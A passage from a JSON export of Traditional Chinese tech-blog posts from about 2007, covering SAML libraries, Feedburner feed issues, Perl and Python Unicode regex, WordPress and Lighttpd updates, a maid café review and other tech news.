    "body": "如果平常有訂國外 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 在看的人應該會看到蠻多與 IP 有關的新聞，最近幾個比較常見的議題是：美國式專利制度、微軟 OOXML 的封閉性、著作合理使用問題 (像是 <a href=\"http://zh.wikipedia.org/wiki/%E6%95%B0%E5%AD%97%E7%89%88%E6%9D%83%E7%AE%A1%E7%90%86\" rel=\"tag\">DRM</a>)。\r\n\r\n不過大多數的新聞在看完以後實在是懶得寫，因為光是看<a href=\"http://zh.wikipedia.org/wiki/%E5%8A%A8%E7%94%BB\" rel=\"tag\">動畫</a>、<a href=\"http://zh.wikipedia.org/wiki/%E6%BC%AB%E7%94%BB\" rel=\"tag\">漫畫</a>、<a href=\"http://zh.wikipedia.org/wiki/%E8%BC%95%E5%B0%8F%E8%AA%AA\" rel=\"tag\">輕小說</a>的時間就已經不夠了 (errr)，所以就很少提到這方面的事情。\r\n\r\n大約兩個月前我在網路上找資料的時候找到：<a href=\"http://intellectualproperty.wordpress.com/\" rel=\"tag\">知識產權關注小組</a>，就訂到 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 裡面放著看，後來看一看覺得還不錯 (比起 <a href=\"http://antimstw.blogspot.com/\" rel=\"tag\">反微軟資訊新聞</a> 好太多)，特地寫一篇出來推薦。",
    "title": "香港中文大學學生會 知識產權關注小組"
  },
  {
    "id": "1239",
    "body": "<a href=\"http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=security\" rel=\"tag\">OASIS Security Services (SAML) TC</a> 是早期 (2002 年的年底發表 <a href=\"http://en.wikipedia.org/wiki/SAML\" rel=\"tag\">SAML</a> 1.0) 解決 <a href=\"http://en.wikipedia.org/wiki/Single_sign-on\" rel=\"tag\">Single sign-on</a> 問題的公開標準之一，通訊的過程主要是以 <a href=\"http://en.wikipedia.org/wiki/XML\" rel=\"tag\">XML</a> 以及 <a href=\"http://en.wikipedia.org/wiki/XML\" rel=\"tag\">XML</a> 的變形作為資料傳遞的格式。因為是很早期就存在的標準架構，所以 <a href=\"http://www.google.com/a/\" rel=\"tag\">Google Apps</a> 的 SSO API 就是走 <a href=\"http://en.wikipedia.org/wiki/SAML\" rel=\"tag\">SAML</a>。\r\n\r\n拿 <a href=\"http://en.wikipedia.org/wiki/SAML\" rel=\"tag\">SAML</a> 去查，應該都會查到 <a href=\"http://zxid.org/\" rel=\"tag\">zxid</a> 這個 library，不過這個 library 先天不良加上後天失調，問題實在太多，前景又不看好...\r\n<ul>\r\n\t<li>缺乏文件，tarball 裡面的 document 只有 README 能看 (<a href=\"http://zxid.org/README.zxid.html\" rel=\"tag\">http://zxid.org/README.zxid.html</a>，另有 PDF 格式)，不過整個文件最後面將近一半都是 Schema Grammars... 前面的部份以寫 Spec 的方法寫，所以閱讀上會蠻吃力的。同時缺乏 tutorial，想要用的人沒有辦法在短時間內知道最基本的語法。</li>\r\n\t<li>沒有 mailing list，或是 <a href=\"http://groups.google.com/\" rel=\"tag\">Google Groups</a> 之類的地方參與討論，這點其實比沒有 tutorial 還傷，因為有 mailing list 時可以在上面翻到一些程式碼，常見的問題也會在 mailing list 上看到。</li>\r\n</ul>\r\n所以我本來是打算乾脆自己從底層刻，在讀了 <a href=\"http://en.wikipedia.org/wiki/SAML_2.0\" rel=\"tag\">SAML 2.0</a> 的一些資料，查了 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 的 <a href=\"http://www.cpan.org/\" rel=\"tag\">CPAN</a> 以後發現在 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 上面其實需要很多東西：\r\n<ul>\r\n\t<li><a href=\"http://www.w3.org/\" rel=\"tag\">W3C</a> 的 <a href=\"http://www.w3.org/TR/xml-c14n\" rel=\"tag\">XML Canonical</a> (已經有 <a href=\"http://search.cpan.org/dist/XML-Canonical/\" rel=\"tag\">XML::Canonical</a> 可以用)</li>\r\n\t<li><a href=\"http://www.w3.org/\" rel=\"tag\">W3C</a> 的 <a href=\"http://www.w3.org/TR/xmldsig-core/\" rel=\"tag\">XML-Signature</a></li>\r\n\t<li><a href=\"http://www.w3.org/\" rel=\"tag\">W3C</a> 的 <a href=\"http://www.w3.org/TR/xmlenc-core/\" rel=\"tag\">XML Encryption</a> (XML Encryption 與 XML-Signature 有時被稱為 XMLSec，這兩個基礎建設在 <a href=\"http://www.cpan.org/\" rel=\"tag\">CPAN</a> 上沒有找到)</li>\r\n\t<li><a href=\"http://en.wikipedia.org/wiki/SOAP\" rel=\"tag\">SOAP</a> (<a href=\"http://www.cpan.org/\" rel=\"tag\">CPAN</a> 上有 <a href=\"http://search.cpan.org/dist/SOAP-Lite/\" rel=\"tag\">SOAP::Lite</a>，不知道夠不夠用)</li>\r\n</ul>\r\n最後才是實做 <a href=\"http://en.wikipedia.org/wiki/SAML\" rel=\"tag\">SAML</a>。(ouch)\r\n\r\n所以我本來打算寫信請對方找 <a href=\"http://www.python.org/\" rel=\"tag\">Python</a> 的人來寫 <a href=\"http://www.google.com/a/\" rel=\"tag\">Google Apps</a> 的 SSO，因為我查到 <a href=\"http://www.python.org/\" rel=\"tag\">Python</a> 上有已經寫好的 XMLSec Library：<a href=\"http://pyxmlsec.labs.libre-entreprise.org/\" rel=\"tag\">PyXMLSec</a>，這樣只要實做 <a href=\"http://en.wikipedia.org/wiki/SAML_2.0\" rel=\"tag\">SAML 2.0</a> 的部份，工程應該會比較小。\r\n\r\n於是我就開始找 <a href=\"http://www.python.org/\" rel=\"tag\">Python</a> 的 <a href=\"http://en.wikipedia.org/wiki/SAML_2.0\" rel=\"tag\">SAML 2.0</a> 資料，結果翻到 <a href=\"http://lasso.entrouvert.org/\" rel=\"tag\">Lasso</a>，同時有 C、P*3 (<a href=\"http://www.php.net/\" rel=\"tag\">PHP</a>、<a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a>、<a href=\"http://www.python.org/\" rel=\"tag\">Python</a>)、<a href=\"http://www.swig.org/\" rel=\"tag\">SWIG</a> 的支援，然後有 mailing list 可以查，有 Subversion Repository 可以翻 svn blame 查資料。\r\n\r\n於是我又把信砍掉，繼續研究 <a href=\"http://en.wikipedia.org/wiki/SAML\" rel=\"tag\">SAML</a>，然後特地寫一篇出來讓其他人不要重蹈覆轍... :(",
    "title": "SAML、zxid、Lasso"
  },
  {
    "id": "1240",
    "body": "前陣子在 IRC 上問<a href=\"http://blog.ijliao.info/\" rel=\"tag\">蔡依林</a>是不是又改了什麼設定，使得我在 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 上看到的 RSS feed 爛掉 (其實還蠻常發生的)，不過他說他什麼都沒動：\r\n\r\n<a href=\"http://www.zooomr.com/photos/38183@Z01/2715134/\"><img src=\"http://static.zooomr.com/images/2715134_5d9b5e918d.jpg\" alt=\"\" /></a>\r\n\r\n本來以為是 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 的問題，不過我記得其他的 Blog 只有在更新 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 到爛掉的時候才會有一樣的情況 (可以直接看 feed 確認是升級到爛掉，不是 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 的問題)，結果剛剛在 <a href=\"http://blog.ericsk.org/\" rel=\"tag\">ericsk</a> 的 Blog 上看到<a href=\"http://blog.ericsk.org/archives/702#comment-9638\">類似的情況</a>，看起來是 <a href=\"http://www.feedburner.com/\" rel=\"tag\">Feedburner</a> 的問題... 來看看這陣子整合進 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的時候會不會修好...\r\n\r\n這樣說起來我才想到，我好像常常因為 <a href=\"http://www.feedburner.com/\" rel=\"tag\">Feedburner</a> 開起來是亂碼，於是改訂站台所提供的 RSS feed...",
    "title": "Feedburner 的問題"
  },
  {
    "id": "1241",
    "body": "我試著在 <a href=\"http://www.python.org/\" rel=\"tag\">Python</a> 上找到 Perl Regular Expression 有提供的 General Category Property，不過沒有找到。而且發現 <a href=\"http://www.python.org/\" rel=\"tag\">Python</a> 沒有使用 <a href=\"http://www.pcre.org/\" rel=\"tag\">PCRE</a>。\r\n\r\n先參考 <a href=\"http://www.unicode.org/\" rel=\"tag\">Unicode.org</a> 上的文件，<a href=\"http://www.unicode.org/reports/tr18/\" rel=\"tag\">Unicode Regular Expressions</a> 這篇，在 Regular Expression 裡使用 General Category Property 指的是 \\p{Lu} 這種用法，前面的範例表示大寫字母 (Uppercase Letter)，我在用 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 切詞的時候用了兩次這種 Regular Expression。\r\n\r\n替代的方案是依照 <a href=\"http://www.unicode.org/Public/UNIDATA/UCD.html\" rel=\"tag\">Unicode Regular Expressions</a> 裡的說法去找對應的範圍，然後自己寫 Regular Expression。\r\n\r\n<strong>Update</strong>：<a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 的 <a href=\"http://en.wikipedia.org/wiki/Mapping_of_Unicode_characters\" rel=\"tag\">Mapping of Unicode characters</a> 比較清楚，直接把 Hex Start 與 Hex End 列出來。",
    "title": "Perl 與 Python 在 Unicode 的處理"
  },
  {
    "id": "1242",
    "body": "收到 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layeredtech</a> 的優惠信，主要是那個記憶體加倍的 Promotion Code 看起來還不錯，這陣子有打算在 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layeredtech</a> 租用機器的參考看看吧：<a href=\"http://www.layeredtech.com/promotions/12-days-Christmas.php\">www.layeredtech.com/promotions/12-days-Christmas.php</a>。\r\n\r\nPS：不要問我為什麼叫做 12 Days Christmas，我不懂...",
    "title": "Layeredtech 的優惠"
  },
  {
    "id": "1243",
    "body": "<a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 2.1 與 2.0 的安全性更新，在官方網站上釋出新版讓人下載，而且也公告出來了：<a href=\"http://wordpress.org/development/2007/04/wordpress-213-and-2010/\">WordPress 2.1.3 and 2.0.10</a>，包括了 XSS 漏洞與 XML-RPC 問題...\r\n\r\n跟之前一下，下載下來後直接把檔案蓋過去，然後跑 http://my.blog.site/wp-admin/upgrade.php，把資料庫內需要同步的部份一起更新。\r\n\r\nPS：其實走 trunk 版本也不錯啦，在 <code>svn update</code> 後 <code>svn export --force</code> 蓋過去...",
    "title": "WordPress 安全性更新"
  },
  {
    "id": "1244",
    "body": "先給基本資料：台北縣新莊市中平路263號，電話是 (02)89911027，不知道路要特地來的可以先到<a href=\"http://www.hcsh.tpc.edu.tw/\" rel=\"tag\">新莊高中</a>門口再找路。\r\n\r\n前幾天在 IRC 上看到這個報導：<a href=\"http://www.libertytimes.com.tw/2007/new/jul/16/today-north3.htm\">女僕端咖啡 吸引宅男回家</a>，用 <a href=\"http://blogsearch.google.com/\" rel=\"tag\">Google Blogsearch</a> 只找到這篇：<a href=\"http://blog.xuite.net/chairle/day/12564184\" rel=\"tag\">阿部屋~女僕店</a>，裡面有不少照片，不過手振蠻嚴重 XD\r\n\r\nAnyway，我是跟表弟去吃完宵夜以後決定去這家二十四小時營業的「阿部屋咖啡店」試看看，不過到的時候已經過十二點了 (晚上十二點到早上九點是不開放二樓的)，所以只能外面的桌子吃，所以裡面的插座以及無線網路的情況不太清楚。\r\n\r\n至於女僕的部份嘛... 基本上只是穿著女僕服的 waiter，我跟表弟站在收營機前要點餐的時候，waiter 還是只顧著自己在準備飲料之類的東西 (也有可能是因為深夜只有一個人)，以女僕咖啡店的標準來比較的話... 完全不合格。\r\n\r\n再來講飲料及餐點的部份，因為是吃過宵夜，所以我們兩個一開始只點了冰飲料，結果飲料上來的時候是一般外帶用的紙杯裝 (參考上面有圖片的 Blog)，完全不合格。後來我肚子又餓了，所以又點了點心與飲料，順便請他把一些建議轉給店長。東西是不會難吃，不過也沒有特別好吃或好喝。\r\n\r\nAnyway，我覺得以「女僕咖啡店」的標準來說，這家完全不值得去，這家以「價錢」換掉某些應該要有的東西 (參考上面提到的 Blog，裡面有價目表)，我建議還是去地下街或是西門町會比較好。\r\n\r\n<strong>Update</strong>：另外找到 <a href=\"http://blog.xuite.net/lang1974/2005/12636331\">女僕咖啡店:阿部屋</a> 這篇也是講阿部屋的文章。",
    "title": "阿部屋咖啡店"
  },
  {
    "id": "1245",
    "body": "本來以為今天是星期一的，星期一下午有事情，特地「早一點」去睡覺 (大約是早上四點吧...)，自然醒的時候是早上七點 (有點像是睡午覺)，把電腦打開的時候看到時鐘上面寫著星期日，還檢查網路對時的服務是不是有問題...\r\n\r\n這幾天研究的重點在於 <a href=\"http://zxid.org/\" rel=\"tag\">ZXID</a> 與 <a href=\"http://lasso.entrouvert.org/\" rel=\"tag\">Lasso</a> 這兩個有支援 SAML 2.0 的 Library，以及 <a href=\"http://www.python.org/\" rel=\"tag\">Python</a> 的語法 (寫起來還蠻有趣的)，另外再把 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上的 <a href=\"http://tinderbox.marcuscom.com/\" rel=\"tag\">Tinderbox</a> 跑起來測試 p5-Net-SAML 編譯的問題。\r\n\r\n另外就是動漫畫看了不少...\r\n\r\n漫畫的部份，把《<a href=\"http://zh.wikipedia.org/wiki/%E8%89%BE%E7%91%AA_%28%E6%BC%AB%E7%95%AB%29\" rel=\"tag\">艾瑪</a>》七本 (加上一本導讀本) 看完了，這部作品的畫風真的很棒 (然後又是<a href=\"http://www.walkersnet.com.tw/\" rel=\"tag\">台灣角川</a>代理的)。另外《<a href=\"http://zh.wikipedia.org/wiki/%E6%9C%80%E7%BB%88%E5%85%B5%E5%99%A8%E5%B0%91%E5%A5%B3\" rel=\"tag\">最終兵器少女</a>》也看完了，這點在 gslin.info 那邊有稍微提到過了。\r\n\r\n接下來的順序應該是《<a href=\"http://zh.wikipedia.org/wiki/%E8%9F%B2%E5%B8%AB\" rel=\"tag\">蟲師</a>》、《<a href=\"http://zh.wikipedia.org/wiki/%E5%8E%BB%E5%90%A7%EF%BC%81%E7%A8%BB%E4%B8%AD%E4%B9%92%E5%9C%98\" rel=\"tag\">去吧！稻中桌球社</a>》、《<a href=\"http://zh.wikipedia.org/wiki/%E9%9D%92%E5%87%BA%E6%96%BC%E8%97%8D_%28%E5%8B%95%E7%95%AB%29\" rel=\"tag\">未婚關係</a>》(藍より青し，另外一個比較普遍的翻譯是《青出於藍》)。\r\n\r\n動畫的部份，由於目前追了 34 部新番 (主要是春番，其中有大約 20 部是半年番以上的作品...)，所以「食之無味，棄之可惜」的動畫，或是不合胃口，但是還是稍微想看看劇情的動畫，就在跑程式的時候用兩倍速放過去 (舉例：《<a href=\"http://zh.wikipedia.org/wiki/%E9%BB%91%E4%B9%8B%E5%A5%91%E7%B4%84%E8%80%85\" rel=\"tag\">黑之契約者</a>》、《骷髏人》之類的...)，結果積在機器上沒看的反而都是比較想花時間慢慢看的動畫...",
    "title": "時間錯亂 + 碎碎念"
  },
  {
    "id": "1246",
    "body": "<a href=\"http://www.lighttpd.net/\" rel=\"tag\">Lighttpd</a> 先出了 1.4.16 把一些 bug 修掉：<a href=\"http://www.lighttpd.net/2007/7/24/1-4-16-let-s-ship-it\">1.4.16 - Let's ship it</a>。\r\n\r\n等 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">FreeBSD ports</a> 更新後再把 colo-lt 這台上面的 lighty 更新上去，到時候就會知道會不會中地雷了...。",
    "title": "Lighttpd 1.4.16"
  },
  {
    "id": "1247",
    "body": "<a href=\"http://www.slideshare.net/\" rel=\"tag\">SlideShare</a> 可以把投影片加上聲音了：<a href=\"http://www.techcrunch.com/2007/07/23/slideshare-adds-audio-synchronization/\">Slideshare Adds Audio Synchronization</a>。\r\n\r\n看起來把現場錄音錄下來以後，回家把時間點打上去就好了。(結果現在連不上 <a href=\"http://www.slideshare.net/\" rel=\"tag\">slideshare.net</a> 了 XD)",
    "title": "SlideShare + 聲音"
  },
  {
    "id": "1248",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到有人提到英文版 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 上有人整理了一份對大英百科全書的勘誤表：<a href=\"http://slashdot.org/articles/07/07/24/0114228.shtml\">Wikipedia Corrects Encyclopedia Britannica</a>，在 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 上的頁面是這篇：<a href=\"http://en.wikipedia.org/wiki/Wikipedia:Errors_in_the_Encyclop%C3%A6dia_Britannica_that_have_been_corrected_in_Wikipedia\">Wikipedia:Errors in the Encyclopædia Britannica that have been corrected in Wikipedia</a>。\r\n\r\n翻了一下編輯歷史，這份名單是從 2005 年一月從元維基 (meta.wikipedia.org) 上搬過來的，取這種標題看起來就是要討戰的，現在終於如願以償上了 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> ... XD\r\n\r\nPS：這兩部百科全書的恩怨請參考 <a href=\"http://taiwan.cnet.com/\" rel=\"tag\">Taiwan.CNET.com</a> 這篇「<a href=\"http://taiwan.cnet.com/news/software/0,2000064574,20105225,00.htm\">大英百科痛斥對手Wiki百科</a>」，裡面提到的內容還蠻清楚的。",
    "title": "Wikipedia 對大英百科全書的勘誤表"
  },
  {
    "id": "1249",
    "body": "<a href=\"http://www.seagate.com/\" rel=\"tag\">Seagate</a> 說今年年底將停止生產 IDE 硬碟：<a href=\"http://slashdot.org/hardware/07/07/25/2252213.shtml\">Seagate to Drop IDE Drives by Year End</a>。沒記錯的話，<a href=\"http://www.seagate.com/\" rel=\"tag\">Seagate</a> 應該是目前最大的硬碟製造商？\r\n\r\n大約再等個五年，主機板上可能就沒有 IDE 接頭了，就像當年讓 ISA 退出市場的情況一樣...",
    "title": "Seagate 將在年底停止生產 IDE 硬碟"
  },
  {
    "id": "1250",
    "body": "先引用 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上的文章：<a href=\"http://slashdot.org/articles/07/07/26/1456252.shtml\" rel=\"tag\">New Ethernet Standard — Both 40 and 100 Gbps</a>。\r\n\r\n新的標準是 IEEE 802.3ba (參考 <a href=\"http://en.wikipedia.org/wiki/IEEE_802.3\" rel=\"tag\">IEEE 802.3</a> 系列的資訊，比較奇怪的是 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 還沒更新...)，這項標準同時制定了 40Gbps 與 100Gbps 的規格，不過隨著速度提高，條件於來愈嚴苛了，40Gbps over Copper 的限制就已經是 10 米了...\r\n\r\n不過現在 10Gbps 好像也沒有很常見？10Gbps Switch 的單價也是... XD",
    "title": "新的 Blah-Ethernet 標準出爐"
  },
  {
    "id": "1251",
    "body": "在 <a href=\"http://googleblog.blogspot.com/\" rel=\"tag\">Official Google Blog</a> 上提到的這篇：<a href=\"http://googleblog.blogspot.com/2007/07/robots-exclusion-protocol-now-with-even.html\">Robots Exclusion Protocol: now with even more flexibility</a>。\r\n\r\n文章裡提到的幾個玩意：\r\n<ul>\r\n\t<li>第一個是告訴 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a>，頁面何時應該要從搜尋結果內消失，像是 <a href=\"http://www.1-apple.com.tw/\" rel=\"tag\">蘋果</a> 或是 <a href=\"http://udn.com/\" rel=\"tag\">udn</a> 的過期網路新聞，會要求使用者登入後才能閱讀。</li>\r\n\t<li>第二個是用利用 HTTP Response Header 告訴機器人 meta tag 的方式。</li>\r\n</ul>\r\n簡單留個印象就好了，平常用不太到。",
    "title": "Google 提供的 meta tag"
  },
  {
    "id": "1252",
    "body": "<a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a> 1.7.2 出版，與 1.7 相比，1.7.1 與 1.7.2 各修正一個 bug：\r\n<ul>\r\n\t<li>1.7.1：Fix: Invalid download amounts being reported to trackers for &gt;4GB torrents</li>\r\n\t<li>1.7.2：Fix: Disable Local Peer Discovery for private torrents</li>\r\n</ul>\r\n完整的說明可以在官方的論壇上看到，在 <a href=\"http://forum.utorrent.com/viewtopic.php?id=26330\" rel=\"tag\">µTorrent 1.7.2 released</a> 這篇。",
    "title": "µTorrent 1.7.2"
  },
  {
    "id": "1253",
    "body": "<a href=\"http://www.aiderss.com/\" rel=\"tag\">AideRSS</a> 號稱可以透過一些演算法，幫你將比較重要的文章 (entry) 排到前面。不過我用過以後覺得這個服務不太能用，反倒是 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 如果把 <a href=\"http://news.google.com/\" rel=\"tag\">Google News</a> 的技術 (把討論相同事情的文章堆在一起) 拿來用在這上面的話，對這些半吊子的 Service 殺傷力應該會很強...\r\n\r\n我把我在 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 的 feed 名單匯出來後倒進 <a href=\"http://www.aiderss.com/\" rel=\"tag\">AideRSS</a> (約 470 個) 後，第一波告訴我已經處理完畢的大約有 110 feeds，半個小時候變成 200 feeds，過了一天睡醒後才都更新到。不過這是屬於痛一次就不會再痛第二次的操作...\r\n\r\n再來是 <a href=\"http://www.aiderss.com/\" rel=\"tag\">AideRSS</a> 主打的 PostRank，據說是拿 comment、<a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 搜尋到的數量、<a href=\"http://www.technorati.com/\" rel=\"tag\">Technorati</a> 數量分析。這個部份不太能用，像我就不能理解為什麼 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 的圖片有一個 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 搜尋數量就可以到 5 分，而 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的文章有上百個 comments、5 個 <a href=\"http://www.technorati.com/\" rel=\"tag\">Technorati</a> 數量、4 個 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 搜尋，卻只有 3.4 分...\r\n\r\n附上一張截圖：\r\n\r\n<a href=\"http://www.zooomr.com/photos/38183@Z01/2787892/\"><img src=\"http://static.zooomr.com/images/2787892_9e29fea2c5.jpg\" alt=\"\" /></a>\r\n\r\n點進去後可以看到其實排在上面的根本不太重要 (<a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 的圖？<a href=\"http://www.bittorrent.org/\" rel=\"tag\">Bittorrent</a> 的 RSS？)，我想他應該是對整個站有一個分數 (像是 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 隨便一篇文章都有 100+ comments，但是在其他的地方如果有 100+ comments 通常都代表超熱門，於是不同的站台對於 comments 所產生的分數就會不一樣)，然後再對每個 entry 算出分數。\r\n\r\n不過回到上面的那個話題，我還是不懂像 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 或是 <a href=\"http://www.bittorrent.org/\" rel=\"tag\">Bittorrent</a> 站台為什麼會給這麼高分數... 參數沒調好？",
    "title": "AideRSS 感想"
  },
  {
    "id": "1254",
    "body": "<a href=\"http://www.mattcutts.com/blog/\" rel=\"tag\">Matt Cutts</a> 在他的 Blog 上提到了 <a href=\"http://zh.wikipedia.org/wiki/%E5%93%88%E5%88%A9%C2%B7%E6%B3%A2%E7%89%B9\" rel=\"tag\">Harry Potter</a> 的字型很像 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 商標的字型 XDDD：<a href=\"http://www.mattcutts.com/blog/harry-potter-font-looks-like-yahoo-logo/\" rel=\"tag\">Harry Potter font looks like Yahoo logo?</a>。\r\n\r\n補充一下，<a href=\"http://www.mattcutts.com/\" rel=\"tag\">Matt Cutts</a> 是 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> Webspam Team 的大魔頭 XD",
    "title": "Harry Potter 封面的字型"
  },
  {
    "id": "1255",
    "body": "<a href=\"http://en.wikipedia.org/wiki/United_States_Court_of_Appeals_for_the_Ninth_Circuit\" rel=\"tag\">美國聯邦第九巡迴庭</a> 判定不通知使用者就修改條款的條例是無效的：<a href=\"http://slashdot.org/yro/07/07/29/1747205.shtml\">Web Contracts Can't Be Changed Without Notice</a>。\r\n\r\n在美國地區因這個判例而必須修改的包括：\r\n<ul>\r\n\t<li><a href=\"http://www.google.com/accounts/TOS?loc=US\" rel=\"tag\">Google 服務條款</a> 的第 19 項。</li>\r\n\t<li><a href=\"http://info.yahoo.com/legal/us/yahoo/utos/utos-173.html\" rel=\"tag\">Yahoo! Terms of Service</a> 的第 14 項。</li>\r\n</ul>\r\n這對使用者是一個很大的保護。當公司通知修改條款時，總是會有強者跑去看新增了什麼，如果條款過於囂張的時候就能夠尋管道鬧事 :p (完全鄉民化 XD)",
    "title": "網頁版使用條款 (合約) 的更新"
  },
  {
    "id": "1256",
    "body": "上次重灌是 5/28，距離只有兩個月...\r\n\r\n先抱怨一下 <a href=\"http://www.lenovo.com/\" rel=\"tag\">Lenovo</a> 接手以後的東西真的是愈作愈爛，先不管 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 3.0a7pre 不能下載的問題，用 IE 下載以後發現檔案一個比一個大...\r\n\r\nAnyway，<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 3.0a7pre 總算是會動了，不過還是不太穩定... 然後也發現很多站台都是直接用 <a href=\"http://www.quirksmode.org/js/detect.html\" rel=\"tag\">Browser Detect</a> 的技巧來決定要不要跑 Javascript，結果變成 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 2.0 上用起來很爽的功能到了 3.0 上反而不能用...\r\n\r\n差不多該睡覺了，還要早起呢...",
    "title": "重灌 Windows XP"
  },
  {
    "id": "1257",
    "body": "<strong>Update</strong>：我在 Mailing List 上面問 (<a href=\"http://thread.gmane.org/gmane.comp.web.lighttpd/4936\" rel=\"tag\">404 handler</a> 這個 thread)，解法是 <a href=\"http://trac.lighttpd.net/trac/wiki/Docs%3AModMagnet\" rel=\"tag\">mod_magnet</a>，裡面有類似的範例 <a href=\"http://trac.lighttpd.net/trac/wiki/Docs%3AModMagnet#complex-rewrites\" rel=\"tag\">Complex rewrites</a> 可以抄。\r\n\r\n昨天換上 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">Lighttpd</a> 1.4.16 後用瀏覽器看起來沒問題後就沒管他了 (參考 <a href=\"http://blog.gslin.org/archives/2007/07/26/1246/\" rel=\"tag\">Lighttpd 1.4.16</a> 這篇)，結果 IRC 上就被問到是不是有改到什麼設定，仔細檢查後發現是因為 404 Handler 的行為改變了。\r\n\r\n會發現是因為在 <a href=\"http://awstats.sourceforge.net/\" rel=\"tag\">awstats</a> 上發現流量掉很多，檢查以後發現所有正常的流量都記入 404，於是 awstats 就認為這不屬於正常流量 blah blah blah...\r\n\r\n其實網站本身還是沒什麼問題啦，不過這樣總是不太好 (不只是 log 裡是 404，包括 HTTP Header 也是 404)，來找看看有沒有解...",
    "title": "Lighttpd 1.4.16 的 404 Handler 行為改變"
  },
  {
    "id": "1259",
    "body": "<a href=\"http://en.wikipedia.org/wiki/Suprnova.org\" rel=\"tag\">Suprnova.org</a> 在 2004 年年底被強制關閉後，<a href=\"http://en.wikipedia.org/wiki/Suprnova.org\" rel=\"tag\">Suprnova.org</a> 的網域擁有人在前陣子將網域交給 <a href=\"http://thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a>，準備將當年的 <a href=\"http://en.wikipedia.org/wiki/Suprnova.org\" rel=\"tag\">Suprnova.org</a> 恢復：<a href=\"http://slashdot.org/articles/07/08/03/0313252.shtml\">The Pirate Bay About To Relaunch Suprnova.org</a>。\r\n\r\n樹 (<a href=\"http://thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a>) 愈來愈大了，不知道擋不擋的著一陣一陣的大風...",
    "title": "Suprnova.org"
  },
  {
    "id": "1260",
    "body": "因為要查國際運費的郵資是多少，所以跑到<a href=\"http://www.post.gov.tw/\" rel=\"tag\">郵局</a>的網頁上翻東西，連上首頁時看到有 RSS feed，分成五個 feed (呃...)，點下去發現是空的... XD\r\n\r\n過幾天看看好了，大概不會修好... (聳肩)",
    "title": "郵局的 RSS..."
  },
  {
    "id": "1261",
    "body": "<a href=\"http://bradfitz.com/\" rel=\"tag\">Brad Fitzpatrick</a> 在他的 <a href=\"http://brad.livejournal.com/\" rel=\"tag\">Blog</a> 上提到他要離開 <a href=\"http://www.livejournal.com/\" rel=\"tag\">LiveJournal</a>：<a href=\"http://brad.livejournal.com/2334177.html\">On Leaving SixApart</a>。\r\n\r\n他寫過很多軟體 (主要都是在 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 上)，不過我想最有名的還是 <a href=\"http://www.danga.com/memcached/\" rel=\"tag\">memcached</a> (這個不在 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 上)，被廣泛用在許多平台上當作 cache service。像是 <a href=\"http://www.facebook.com/\" rel=\"tag\">Facebook</a> 曾經在 mailing list 上提到他們有兩百台 <a href=\"http://www.danga.com/memcached/\" rel=\"tag\">memcached</a>，每一台都是 16GB 4-core AMD64：<a href=\"http://lists.danga.com/pipermail/memcached/2007-May/004098.html\" rel=\"tag\">Re: Largest production memcached install?</a>。(這應該是目前所知道最大的 <a href=\"http://www.danga.com/memcached/\" rel=\"tag\">memcached</a> 使用站台)",
    "title": "Brad Fitzpatrick 離開 LiveJournal"
  },
  {
    "id": "1262",
